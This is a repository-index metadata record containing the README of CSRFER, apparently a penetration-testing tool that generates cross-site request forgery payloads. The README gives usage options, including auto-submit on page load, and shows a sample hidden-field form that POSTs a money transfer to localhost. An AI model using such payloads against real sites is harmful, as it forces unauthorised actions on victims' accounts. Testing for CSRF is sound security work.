{"id":13844994,"url":"https://github.com/luisfontes19/CSRFER","last_synced_at":"2025-07-12T00:32:37.707Z","repository":{"id":85972560,"uuid":"300984260","full_name":"luisfontes19/CSRFER","owner":"luisfontes19","description":"Tool to generate csrf payloads based on vulnerable requests","archived":false,"fork":false,"pushed_at":"2020-10-09T20:55:23.000Z","size":62,"stargazers_count":62,"open_issues_count":0,"forks_count":16,"subscribers_count":7,"default_branch":"master","last_synced_at":"2024-08-05T17:43:33.299Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/luisfontes19.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2020-10-03T21:31:23.000Z","updated_at":"2024-07-03T00:55:26.000Z","dependencies_parsed_at":null,"dependency_job_id":"983a8a9d-9289-403b-a357-bb8f49107e4b","html_url":"https://github.com/luisfontes19/CSRFER","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luisfontes19%2FCSRFER","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luisfontes19%2FCSRFER/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luisfontes19%2FCSRFER/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luisfontes19%2FCSRFER/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/luisfontes19","download_url":"https://codeload.github.com/luisfontes19/CSRFER/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225772839,"owners_count":17521899,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:03:05.718Z","updated_at":"2024-11-21T17:31:07.810Z","avatar_url":"https://github.com/luisfontes19.png","language":"TypeScript","funding_links":[],"categories":["TypeScript (64)","TypeScript"],"sub_categories":[],"readme":"# CSRFER\n\n```plaintext\n\n _____  _________________ ___________ \n/  __ \\/  ___| ___ \\  ___|  ___| ___ \\\n| /  \\/\\ `--.| |_/ / |_  | |__ | |_/ /\n| |     `--. \\    /|  _| |  __||    / \n| \\__/\\/\\__/ / |\\ \\| |   | |___| |\\ \\ \n \\____/\\____/\\_| \\_\\_|   \\____/\\_| \\_|\n                                      \n          -.--.\n          )  \" '-,\n          ',' 2  \\_\n           \\q \\ .  \\\n        _.--'  '----.__\n       /  ._      _.__ \\__\n    _.'_.'  \\_ .-._\\_ '-, }\n   (,/ _.---;-(  . \\ \\   ~\n ____ (  .___\\_\\  \\/_/\n(      '-._ \\   \\ |\n '._       ),\u003e _) \u003e\n    '-._ c='  Cooo  -._\n        '-._           '.\n            '-._         `\\\n       snd      '-._       '.\n                    '-._     \\\n                        `~---'\n```\n\nCSRFER is a tool to generate csrf payloads, based on vulnerable requests.\n\nIt parses supplied requests to generate either a form or a fetch request. The payload can then be embedded in an html template.\n\n## Installation\n\n```bash\nnpm install -g csrfer\n```\n\n\n## Usage:\n\n```plaintext\nUsage: csrfer [options]\n\nOptions:\n  --version              Show version number\n  -r, --request          Path to the request file to be used\n  -m, --mode             Mode to generate the code. Available options: form, fetch. (Default is form)\n  -a, --autosubmit       Auto submit the request on page load\n  -s, --show             Show the form inputs (only for form mode)\n  -o, --output           Output the payload to the specified file instead of STDOUT\n  -t, --template         Path to an html template page. Use the placeholder {{CONTENT}} to specify where to\n                         inject the code (in html, not JS)\n  -T, --defaulttemplate  Use this option if you want the code to be injected into a default html page.\n  -h, --help             Show help\n\nExamples:\n  csrfer -r req.txt -m form -a                    Automatically submit a form request\n  csrfer -r req.txt -m form -s                    Generate and shows a form to be submitted manually\n  csrfer -r req.txt -m fetch -t my_template.html  Generates a fetch request and uses the supplied template\n                                                  page\n\n```\n\n## Example output\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003chead\u003e\n  \u003ctitle\u003eThis is Hello World page\u003c/title\u003e\n\u003c/head\u003e\n\n\u003cbody\u003e\n  \u003ch1\u003eHello World\u003c/h1\u003e\n\n  \u003cform id=\"csrf\" name=\"csrf\" action=\"http://localhost:8000/1.php\" method=\"POST\"\n    enctype=\"application/x-www-form-urlencoded\"\u003e\u003cinput id='destination' name='destination' type='hidden'\n      value='123-123123-123' /\u003e\u003cbr\u003e\u003cinput id='amount' name='amount' type='hidden' value='50\u0026#x20AC;' /\u003e\u003cbr\u003e\u003cinput\n      type='submit' value='submit'\u003e\u003c/form\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## License\n\nThis project is MIT licensed","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fluisfontes19%2FCSRFER","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fluisfontes19%2FCSRFER","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fluisfontes19%2FCSRFER/lists"}